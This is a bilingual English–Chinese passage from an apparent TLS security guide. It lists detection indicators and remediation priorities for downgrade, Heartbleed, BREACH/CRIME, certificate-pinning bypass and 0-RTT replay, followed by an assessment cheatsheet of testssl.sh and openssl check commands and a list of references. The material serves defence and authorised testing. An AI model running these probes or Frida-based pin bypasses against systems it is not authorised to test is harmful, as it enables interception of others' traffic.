  • Downgrade probes: Connections attempting SSLv2, SSLv3, or TLS 1.0 from modern client fingerprints. A client advertising a modern TLS stack but then falling back to SSLv3 is suspicious. Log and alert on protocol version mismatches between ClientHello capabilities and the negotiated version.
  • Heartbleed scanning: Heartbeat requests with a declared payload length larger than the actual payload. IDS signatures exist for the malformed heartbeat pattern. Monitor for repeated heartbeat requests from the same source.
  • Compression oracle probing: Rapid sequences of requests with incrementally varying parameters to the same endpoint, combined with precise response size measurement. This pattern indicates BREACH or CRIME exploitation attempts.
  • Certificate pinning bypass: On mobile backends, monitor for connections from known application builds that present unexpected TLS client fingerprints (JA3/JA4 hashes) -- this indicates an instrumented runtime.
  • 0-RTT replay: Monitor application logs for duplicated non-idempotent operations. Implement server-side replay caches (anti-replay mechanisms per RFC 8446 Section 8) and reject 0-RTT data for state-changing operations.
  • CT monitoring: Defenders should proactively monitor CT logs for unauthorized certificates issued for their domains. This detects both compromised CAs and domain validation attacks.
Remediation priorities: disable SSLv2, SSLv3, TLS 1.0, and TLS 1.1 entirely; remove all export, NULL, RC4, DES, and 3DES cipher suites; deploy HSTS with
includeSubDomains
and
preload
; disable TLS compression; use TLS 1.3 as the preferred protocol; reject 0-RTT early data for non-idempotent endpoints; implement certificate pinning with backup pins and reporting; enable OCSP stapling.

防御方应监控以下 TLS 攻击指标:
  • 降级探测:来自现代客户端指纹、尝试使用 SSLv2、SSLv3 或 TLS 1.0 的连接。客户端宣称支持现代 TLS 栈却回退到 SSLv3 属于可疑行为。应记录并告警 ClientHello 能力与最终协商版本之间的协议版本不匹配。
  • Heartbleed 扫描:heartbeat 请求声明的 payload length 大于实际 payload。IDS 中已有针对这种畸形 heartbeat 模式的签名。应监控来自同一来源的重复 heartbeat 请求。
  • 压缩 oracle 探测:向同一端点快速发送参数逐渐变化的请求,并精确测量响应大小。该模式表明正在尝试利用 BREACH 或 CRIME。
  • 证书 Pinning 绕过:在移动端后端,监控来自已知应用构建版本但呈现异常 TLS 客户端指纹(JA3/JA4 hash)的连接——这通常表示运行时已被插桩。
  • 0-RTT 重放:监控应用日志中重复出现的非幂等操作。实现服务端重放缓存(按照 RFC 8446 Section 8 实施防重放机制),并对状态变更操作拒绝 0-RTT 数据。
  • CT 监控:防御方应主动监控 CT 日志中是否为其域名签发了未授权证书。这能够检测 CA 失陷和域名验证攻击。
修复优先级:全面禁用 SSLv2、SSLv3、TLS 1.0 和 TLS 1.1;移除所有 export、NULL、RC4、DES 和 3DES cipher suite;部署包含
includeSubDomains
和
preload
的 HSTS;禁用 TLS 压缩;优先使用 TLS 1.3;对非幂等端点拒绝 0-RTT early data;实施带 backup pins 和报告机制的证书 pinning;启用 OCSP stapling。

Engagement Cheatsheet

评估速查表

VulnerabilityTool / CheckIndicator
POODLE (SSLv3)testssl.sh --poodleSSLv3 with CBC ciphers accepted
DROWN (SSLv2)testssl.sh --drownSSLv2 support or shared RSA key with SSLv2 host
FREAK (export ciphers)testssl.sh --freakRSA_EXPORT cipher suites accepted
BEAST (TLS 1.0 CBC)testssl.sh --beastTLS 1.0 with CBC cipher negotiated
CRIMEtestssl.sh --crimeTLS-level compression enabled
BREACHContent-Encoding: gzip + reflectionHTTP compression + secret + reflected input
Heartbleedtestssl.sh --heartbleedOpenSSL 1.0.1 to 1.0.1f with heartbeat ext
Cert validationgrep -rn verify=FalseDisabled verification in source code
Cert pinning (mobile)objection / FridaPin bypass allows proxy interception
HSTS missingcurl -sI + header checkNo Strict-Transport-Security header
0-RTT replayopenssl s_client -early_dataServer accepts and processes early data
mTLS weaknessopenssl s_client -certServer accepts rogue client certificates
Protocol version risk summary:
  • SSLv2: catastrophically broken (DROWN). Must be disabled everywhere.
  • SSLv3: broken (POODLE). Must be disabled everywhere.
  • TLS 1.0: weak (BEAST, deprecated by RFC 8996). Disable.
  • TLS 1.1: no known protocol attacks but deprecated by RFC 8996. Disable.
  • TLS 1.2: secure with correct cipher suite selection (AEAD ciphers only).
  • TLS 1.3: secure. Watch 0-RTT replay for non-idempotent operations.

漏洞工具/检查项指标
POODLE(SSLv3)testssl.sh --poodle接受带 CBC cipher 的 SSLv3
DROWN(SSLv2)testssl.sh --drown支持 SSLv2,或存在共享 RSA 密钥的 SSLv2 主机
FREAK(export cipher)testssl.sh --freak接受 RSA_EXPORT cipher suite
BEAST(TLS 1.0 CBC)testssl.sh --beast协商 TLS 1.0 和 CBC cipher
CRIMEtestssl.sh --crime已启用 TLS 层压缩
BREACHContent-Encoding: gzip + reflectionHTTP 压缩 + 机密信息 + 反射输入
Heartbleedtestssl.sh --heartbleed启用 heartbeat 扩展的 OpenSSL 1.0.1 至 1.0.1f
证书验证grep -rn verify=False源代码中禁用了验证
证书 Pinning(移动端)objection / FridaPin 绕过允许代理拦截
缺少 HSTScurl -sI + header check不存在 Strict-Transport-Security header
0-RTT 重放openssl s_client -early_data服务器接受并处理 early data
mTLS 弱点openssl s_client -cert服务器接受伪造的客户端证书
协议版本风险摘要:
  • SSLv2:严重破坏(DROWN)。必须在所有位置禁用。
  • SSLv3:已被攻破(POODLE)。必须在所有位置禁用。
  • TLS 1.0:较弱(BEAST,已被 RFC 8996 弃用)。禁用。
  • TLS 1.1:暂无已知协议攻击,但已被 RFC 8996 弃用。禁用。
  • TLS 1.2:正确选择 cipher suite(仅使用 AEAD cipher)时是安全的。
  • TLS 1.3:安全。需关注非幂等操作中的 0-RTT 重放。

Key References

主要参考资料

  • Moller, B. et al. "This POODLE Bites: Exploiting the SSL 3.0 Fallback." Google Security Advisory, 2014.
  • Aviram, N. et al. "DROWN: Breaking TLS using SSLv2." USENIX Security 2016.
  • Beurdouche, B. et al. "A Messy State of the Union: Taming the Composite State Machines of TLS." IEEE S&P 2015.
  • Duong, T. and Rizzo, J. "Here Come the XOR Ninjas." (BEAST) Ekoparty 2011.
  • Rizzo, J. and Duong, T. "The CRIME Attack." Ekoparty 2012.
  • Gluck, Y. et al. "BREACH: Reviving the CRIME Attack." Black Hat USA 2013.
  • CVE-2014-0160: OpenSSL Heartbleed. https://heartbleed.com
  • RFC 8446: The Transport Layer Security (TLS) Protocol Version 1.3, Section 8 (0-RTT and Anti-Replay).
  • RFC 8996: Deprecating TLS 1.0 and TLS 1.1.
  • CWE-295: Improper Certificate Validation.
  • CWE-319: Cleartext Transmission of Sensitive Information.
  • CWE-757: Selection of Less-Secure Algorithm During Negotiation.
  • testssl.sh: https://testssl.sh
  • sslyze: https://github.com/nabla-c0d3/sslyze
  • Frida: https://frida.re
  • Objection: https://github.com/sensepost/objection
  • Moller, B. 等。“POODLE 来了:利用 SSL 3.0 回退机制。”Google Security Advisory,2014。
  • Aviram, N. 等。“DROWN:使用 SSLv2 攻破 TLS。”USENIX Security 2016。
  • Beurdouche, B. 等。“混乱的状态机联盟:驯服 TLS 的复合状态机。”IEEE S&P 2015。
  • Duong, T. 和 Rizzo, J。“XOR 忍者来了。”(BEAST)Ekoparty 2011。
  • Rizzo, J. 和 Duong, T。“CRIME 攻击。”Ekoparty 2012。
  • Gluck, Y. 等。“BREACH:让 CRIME 攻击复活。”Black Hat USA 2013。
  • CVE-2014-0160:OpenSSL Heartbleed。https://heartbleed.com
  • RFC 8446:传输层安全(TLS)协议 1.3 版,Section 8(0-RTT 与防重放)。
  • RFC 8996:弃用 TLS 1.0 和 TLS 1.1。
  • CWE-295:不正确的证书验证(Improper Certificate Validation)。
  • CWE-319:敏感信息明文传输(Cleartext Transmission of Sensitive Information)。
  • CWE-757:协商期间选择较不安全的算法(Selection of Less-Secure Algorithm During Negotiation)。
  • testssl.sh:https://testssl.sh
  • sslyze:https://github.com/nabla-c0d3/sslyze
  • Frida:https://frida.re
  • Objection:https://github.com/sensepost/objection